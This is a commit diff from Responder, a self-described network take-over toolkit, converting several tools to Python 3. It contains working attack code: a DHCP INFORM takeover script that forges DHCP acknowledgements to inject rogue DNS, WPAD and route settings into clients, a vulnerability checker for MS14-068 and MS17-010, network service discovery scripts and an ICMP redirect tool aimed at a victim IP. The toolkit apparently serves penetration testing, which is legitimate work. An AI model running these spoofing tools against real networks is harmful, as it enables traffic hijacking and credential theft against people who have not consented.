Added py3 and py2 compatibility + many bugfix

This commit is contained in:
lgandx 2020-01-09 14:47:56 -03:00
commit b510b2bb25
49 changed files with 2771 additions and 2058 deletions

View file

@ -1,5 +1,5 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
@ -16,103 +16,103 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import os
import thread
import _thread
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR)
from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from socketserver import UDPServer, ThreadingMixIn, BaseRequestHandler
from threading import Lock
from utils import *
def ParseRoles(data):
if len(data) != 4:
return ''
if len(data) != 4:
return ''
AllRoles = {
'Workstation': (ord(data[0]) >> 0) & 1,
'Server': (ord(data[0]) >> 1) & 1,
'SQL': (ord(data[0]) >> 2) & 1,
'Domain Controller': (ord(data[0]) >> 3) & 1,
'Backup Controller': (ord(data[0]) >> 4) & 1,
'Time Source': (ord(data[0]) >> 5) & 1,
'Apple': (ord(data[0]) >> 6) & 1,
'Novell': (ord(data[0]) >> 7) & 1,
'Member': (ord(data[1]) >> 0) & 1,
'Print': (ord(data[1]) >> 1) & 1,
'Dialin': (ord(data[1]) >> 2) & 1,
'Xenix': (ord(data[1]) >> 3) & 1,
'NT Workstation': (ord(data[1]) >> 4) & 1,
'WfW': (ord(data[1]) >> 5) & 1,
'Unused': (ord(data[1]) >> 6) & 1,
'NT Server': (ord(data[1]) >> 7) & 1,
'Potential Browser': (ord(data[2]) >> 0) & 1,
'Backup Browser': (ord(data[2]) >> 1) & 1,
'Master Browser': (ord(data[2]) >> 2) & 1,
'Domain Master Browser': (ord(data[2]) >> 3) & 1,
'OSF': (ord(data[2]) >> 4) & 1,
'VMS': (ord(data[2]) >> 5) & 1,
'Windows 95+': (ord(data[2]) >> 6) & 1,
'DFS': (ord(data[2]) >> 7) & 1,
'Local': (ord(data[3]) >> 6) & 1,
'Domain Enum': (ord(data[3]) >> 7) & 1,
}
AllRoles = {
'Workstation': (ord(data[0]) >> 0) & 1,
'Server': (ord(data[0]) >> 1) & 1,
'SQL': (ord(data[0]) >> 2) & 1,
'Domain Controller': (ord(data[0]) >> 3) & 1,
'Backup Controller': (ord(data[0]) >> 4) & 1,
'Time Source': (ord(data[0]) >> 5) & 1,
'Apple': (ord(data[0]) >> 6) & 1,
'Novell': (ord(data[0]) >> 7) & 1,
'Member': (ord(data[1]) >> 0) & 1,
'Print': (ord(data[1]) >> 1) & 1,
'Dialin': (ord(data[1]) >> 2) & 1,
'Xenix': (ord(data[1]) >> 3) & 1,
'NT Workstation': (ord(data[1]) >> 4) & 1,
'WfW': (ord(data[1]) >> 5) & 1,
'Unused': (ord(data[1]) >> 6) & 1,
'NT Server': (ord(data[1]) >> 7) & 1,
'Potential Browser': (ord(data[2]) >> 0) & 1,
'Backup Browser': (ord(data[2]) >> 1) & 1,
'Master Browser': (ord(data[2]) >> 2) & 1,
'Domain Master Browser': (ord(data[2]) >> 3) & 1,
'OSF': (ord(data[2]) >> 4) & 1,
'VMS': (ord(data[2]) >> 5) & 1,
'Windows 95+': (ord(data[2]) >> 6) & 1,
'DFS': (ord(data[2]) >> 7) & 1,
'Local': (ord(data[3]) >> 6) & 1,
'Domain Enum': (ord(data[3]) >> 7) & 1,
}
return ', '.join(k for k,v in AllRoles.items() if v == 1)
return ', '.join(k for k,v in list(AllRoles.items()) if v == 1)
class BrowserListener(BaseRequestHandler):
def handle(self):
data, socket = self.request
def handle(self):
data, socket = self.request
lock = Lock()
lock.acquire()
lock = Lock()
lock.acquire()
DataOffset = struct.unpack('<H',data[139:141])[0]
BrowserPacket = data[82+DataOffset:]
ReqType = RequestType(BrowserPacket[0])
DataOffset = struct.unpack('<H',data[139:141])[0]
BrowserPacket = data[82+DataOffset:]
ReqType = RequestType(BrowserPacket[0])
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82])
Fprint = WorkstationFingerPrint(data[190:192])
Roles = ParseRoles(data[192:196])
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82])
Fprint = WorkstationFingerPrint(data[190:192])
Roles = ParseRoles(data[192:196])
print text("[BROWSER] Request Type : %s" % ReqType)
print text("[BROWSER] Address : %s" % self.client_address[0])
print text("[BROWSER] Domain : %s" % Domain)
print text("[BROWSER] Name : %s" % Name)
print text("[BROWSER] Main Role : %s" % Role1)
print text("[BROWSER] 2nd Role : %s" % Role2)
print text("[BROWSER] Fingerprint : %s" % Fprint)
print text("[BROWSER] Role List : %s" % Roles)
print(text("[BROWSER] Request Type : %s" % ReqType))
print(text("[BROWSER] Address : %s" % self.client_address[0]))
print(text("[BROWSER] Domain : %s" % Domain))
print(text("[BROWSER] Name : %s" % Name))
print(text("[BROWSER] Main Role : %s" % Role1))
print(text("[BROWSER] 2nd Role : %s" % Role2))
print(text("[BROWSER] Fingerprint : %s" % Fprint))
print(text("[BROWSER] Role List : %s" % Roles))
RAPThisDomain(self.client_address[0], Domain)
RAPThisDomain(self.client_address[0], Domain)
lock.release()
lock.release()
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self):
self.allow_reuse_address = 1
UDPServer.server_bind(self)
def server_bind(self):
self.allow_reuse_address = 1
UDPServer.server_bind(self)
def serve_thread_udp_broadcast(host, port, handler):
try:
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
except:
print "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
try:
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
except:
print("Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
if __name__ == "__main__":
try:
print "Listening for BROWSER datagrams..."
thread.start_new(serve_thread_udp_broadcast,('', 138, BrowserListener))
try:
print("Listening for BROWSER datagrams...")
_thread.start_new(serve_thread_udp_broadcast,('', 138, BrowserListener))
while True:
time.sleep(1)
while True:
time.sleep(1)
except KeyboardInterrupt:
sys.exit("\r Exiting...")
except KeyboardInterrupt:
sys.exit("\r Exiting...")

View file

@ -1,5 +1,5 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
@ -17,7 +17,7 @@
import sys
import struct
import optparse
import ConfigParser
import configparser
import os
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
@ -39,40 +39,40 @@ parser.add_option('-R', action="store_true", help="Respond to DH
options, args = parser.parse_args()
def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
if options.Interface is None:
print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
exit(-1)
print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.")
exit(-1)
elif options.RouterIP is None:
print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
exit(-1)
print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.")
exit(-1)
elif options.DNSIP is None:
print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
exit(-1)
print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.")
exit(-1)
elif options.DNSIP2 is None:
print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
exit(-1)
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
exit(-1)
print '#############################################################################'
print '## DHCP INFORM TAKEOVER 0.2 ##'
print '## ##'
print '## By default, this script will only inject a new DNS/WPAD ##'
print '## server to a Windows <= XP/2003 machine. ##'
print '## ##'
print '## To inject a DNS server/domain/route on a Windows >= Vista and ##'
print '## any linux box, use -R (can be noisy) ##'
print '## ##'
print '## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##'
print '#############################################################################'
print ''
print color('[*]', 2, 1), 'Listening for events...'
print('#############################################################################')
print('## DHCP INFORM TAKEOVER 0.2 ##')
print('## ##')
print('## By default, this script will only inject a new DNS/WPAD ##')
print('## server to a Windows <= XP/2003 machine. ##')
print('## ##')
print('## To inject a DNS server/domain/route on a Windows >= Vista and ##')
print('## any linux box, use -R (can be noisy) ##')
print('## ##')
print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##')
print('#############################################################################')
print('')
print(color('[*]', 2, 1), 'Listening for events...')
config = ConfigParser.ConfigParser()
config = configparser.ConfigParser()
config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
Interface = options.Interface
Responder_IP = FindLocalIP(Interface, None)
ROUTERIP = options.RouterIP
@ -86,233 +86,232 @@ Spoof = options.Spoof
Respond_To_Requests = options.Respond_To_Requests
if Spoof:
DHCPSERVER = ROUTERIP
DHCPSERVER = ROUTERIP
##### IP Header #####
class IPHead(Packet):
fields = OrderedDict([
("Version", "\x45"),
("DiffServices", "\x00"),
("TotalLen", "\x00\x00"),
("Ident", "\x00\x00"),
("Flags", "\x00\x00"),
("TTL", "\x40"),
("Protocol", "\x11"),
("Checksum", "\x00\x00"),
("SrcIP", ""),
("DstIP", ""),
])
fields = OrderedDict([
("Version", "\x45"),
("DiffServices", "\x00"),
("TotalLen", "\x00\x00"),
("Ident", "\x00\x00"),
("Flags", "\x00\x00"),
("TTL", "\x40"),
("Protocol", "\x11"),
("Checksum", "\x00\x00"),
("SrcIP", ""),
("DstIP", ""),
])
class UDP(Packet):
fields = OrderedDict([
("SrcPort", "\x00\x43"),
("DstPort", "\x00\x44"),
("Len", "\x00\x00"),
("Checksum", "\x00\x00"),
("Data", "\x00\x00"),
])
fields = OrderedDict([
("SrcPort", "\x00\x43"),
("DstPort", "\x00\x44"),
("Len", "\x00\x00"),
("Checksum", "\x00\x00"),
("Data", "\x00\x00"),
])
def calculate(self):
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
def calculate(self):
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
class DHCPACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("DHCPCode", "\x35"), #DHCP Message
("DHCPCodeLen", "\x01"),
("DHCPOpCode", "\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op51", "\x33"),
("Op51Len", "\x04"),
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server
("Op255", "\xff"),
("Padding", "\x00"),
])
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("DHCPCode", "\x35"), #DHCP Message
("DHCPCodeLen", "\x01"),
("DHCPOpCode", "\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op51", "\x33"),
("Op51Len", "\x04"),
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server
("Op255", "\xff"),
("Padding", "\x00"),
])
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
class DHCPInformACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server.
("Op255", "\xff"),
])
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server.
("Op255", "\xff"),
])
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
def SpoofIP(Spoof):
return ROUTERIP if Spoof else Responder_IP
return ROUTERIP if Spoof else Responder_IP
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
return False
elif RespondTo and ClientIp not in RespondTo:
return False
elif ClientIp in RespondTo or RespondTo == []:
if ClientIp not in DontRespondTo:
return True
return False
if ClientIp.startswith('127.0.0.'):
return False
elif RespondTo and ClientIp not in RespondTo:
return False
elif ClientIp in RespondTo or RespondTo == []:
if ClientIp not in DontRespondTo:
return True
return False
def ParseSrcDSTAddr(data):
SrcIP = socket.inet_ntoa(data[0][26:30])
DstIP = socket.inet_ntoa(data[0][30:34])
SrcPort = struct.unpack('>H',data[0][34:36])[0]
DstPort = struct.unpack('>H',data[0][36:38])[0]
return SrcIP, SrcPort, DstIP, DstPort
SrcIP = socket.inet_ntoa(data[0][26:30])
DstIP = socket.inet_ntoa(data[0][30:34])
SrcPort = struct.unpack('>H',data[0][34:36])[0]
DstPort = struct.unpack('>H',data[0][36:38])[0]
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4])
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4])
def ParseDHCPCode(data):
PTid = data[4:8]
Seconds = data[8:10]
CurrentIP = socket.inet_ntoa(data[12:16])
RequestedIP = socket.inet_ntoa(data[16:20])
MacAddr = data[28:34]
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
OpCode = data[242:243]
RequestIP = data[245:249]
PTid = data[4:8]
Seconds = data[8:10]
CurrentIP = socket.inet_ntoa(data[12:16])
RequestedIP = socket.inet_ntoa(data[16:20])
MacAddr = data[28:34]
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
OpCode = data[242:243]
RequestIP = data[245:249]
# DHCP Inform
if OpCode == "\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
GiveClientIP=socket.inet_aton("0.0.0.0"),
NextServerIP=socket.inet_aton("0.0.0.0"),
RelayAgentIP=socket.inet_aton("0.0.0.0"),
ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
# DHCP Inform
if OpCode == "\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
GiveClientIP=socket.inet_aton("0.0.0.0"),
NextServerIP=socket.inet_aton("0.0.0.0"),
RelayAgentIP=socket.inet_aton("0.0.0.0"),
ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
def SendDHCP(packet,Host):
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(packet, Host)
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(packet, Host)
if __name__ == "__main__":
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800))
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800))
while True:
try:
data = s.recvfrom(65535)
if data[0][23:24] == "\x11": # is udp?
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
while True:
try:
data = s.recvfrom(65535)
if data[0][23:24] == "\x11": # is udp?
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
ret = ParseDHCPCode(data[0][42:])
if ret:
print text("[DHCP] %s" % ret)
except KeyboardInterrupt:
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
if SrcPort == 67 or DstPort == 67:
ret = ParseDHCPCode(data[0][42:])
if ret:
print(text("[DHCP] %s" % ret))
except KeyboardInterrupt:
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))

View file

@ -1,5 +1,5 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
@ -34,23 +34,23 @@ def GetBootTime(data):
def IsDCVuln(t, host):
if t[0] == 0:
print "Server", host[0], "did not disclose its boot time"
print("Server", host[0], "did not disclose its boot time")
return
Date = datetime.datetime(2014, 11, 17, 0, 30)
if t[0] < Date:
print "System is up since:", t[1]
print "This system may be vulnerable to MS14-068"
Date = datetime.datetime(2017, 03, 14, 0, 30)
print("System is up since:", t[1])
print("This system may be vulnerable to MS14-068")
Date = datetime.datetime(2017, 0o3, 14, 0, 30)
if t[0] < Date:
print "System is up since:", t[1]
print "This system may be vulnerable to MS17-010"
print "Server", host[0], "is up since:", t[1]
print("System is up since:", t[1])
print("This system may be vulnerable to MS17-010")
print("Server", host[0], "is up since:", t[1])
def run(host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(5)
s.settimeout(5)
try:
s.connect(host)
@ -64,7 +64,7 @@ def run(host):
data = s.recv(1024)
if data[4:5] == "\xff":
print "Server", host[0], "doesn't support SMBv2"
print("Server", host[0], "doesn't support SMBv2")
if data[4:5] == "\xfe":
IsDCVuln(GetBootTime(data[116:124]), host)
@ -75,10 +75,10 @@ def run(host):
s.close()
pass
def atod(a):
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
def dtoa(d):
def dtoa(d):
return inet_ntoa(struct.pack("!L", d))
if __name__ == "__main__":

View file

@ -1,5 +1,5 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
@ -16,7 +16,7 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from socket import *
print 'MSSQL Server Finder 0.1'
print('MSSQL Server Finder 0.2')
s = socket(AF_INET,SOCK_DGRAM)
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
@ -24,17 +24,15 @@ s.settimeout(2)
s.sendto('\x02',('255.255.255.255',1434))
try:
while 1:
data, address = s.recvfrom(8092)
if not data:
break
else:
print "==============================================================="
print "Host details:",address[0]
print data[2:]
print "==============================================================="
print ""
while 1:
data, address = s.recvfrom(8092)
if not data:
break
else:
print("===============================================================")
print(("Host details: %s"%(address[0])))
print((data[2:]))
print("===============================================================")
print("")
except:
pass
pass

View file

@ -1,5 +1,5 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
@ -40,23 +40,23 @@ parser.add_option('-a', '--alternate',action="store", help="The alternate gatewa
options, args = parser.parse_args()
if options.OURIP is None:
print "-i mandatory option is missing.\n"
print("-i mandatory option is missing.\n")
parser.print_help()
exit(-1)
elif options.OriginalGwAddr is None:
print "-g mandatory option is missing, please provide the original gateway address.\n"
print("-g mandatory option is missing, please provide the original gateway address.\n")
parser.print_help()
exit(-1)
elif options.VictimIP is None:
print "-t mandatory option is missing, please provide a target.\n"
print("-t mandatory option is missing, please provide a target.\n")
parser.print_help()
exit(-1)
elif options.Interface is None:
print "-I mandatory option is missing, please provide your network interface.\n"
print("-I mandatory option is missing, please provide your network interface.\n")
parser.print_help()
exit(-1)
elif options.ToThisHost is None:
print "-r mandatory option is missing, please provide a destination target.\n"
print("-r mandatory option is missing, please provide a destination target.\n")
parser.print_help()
exit(-1)
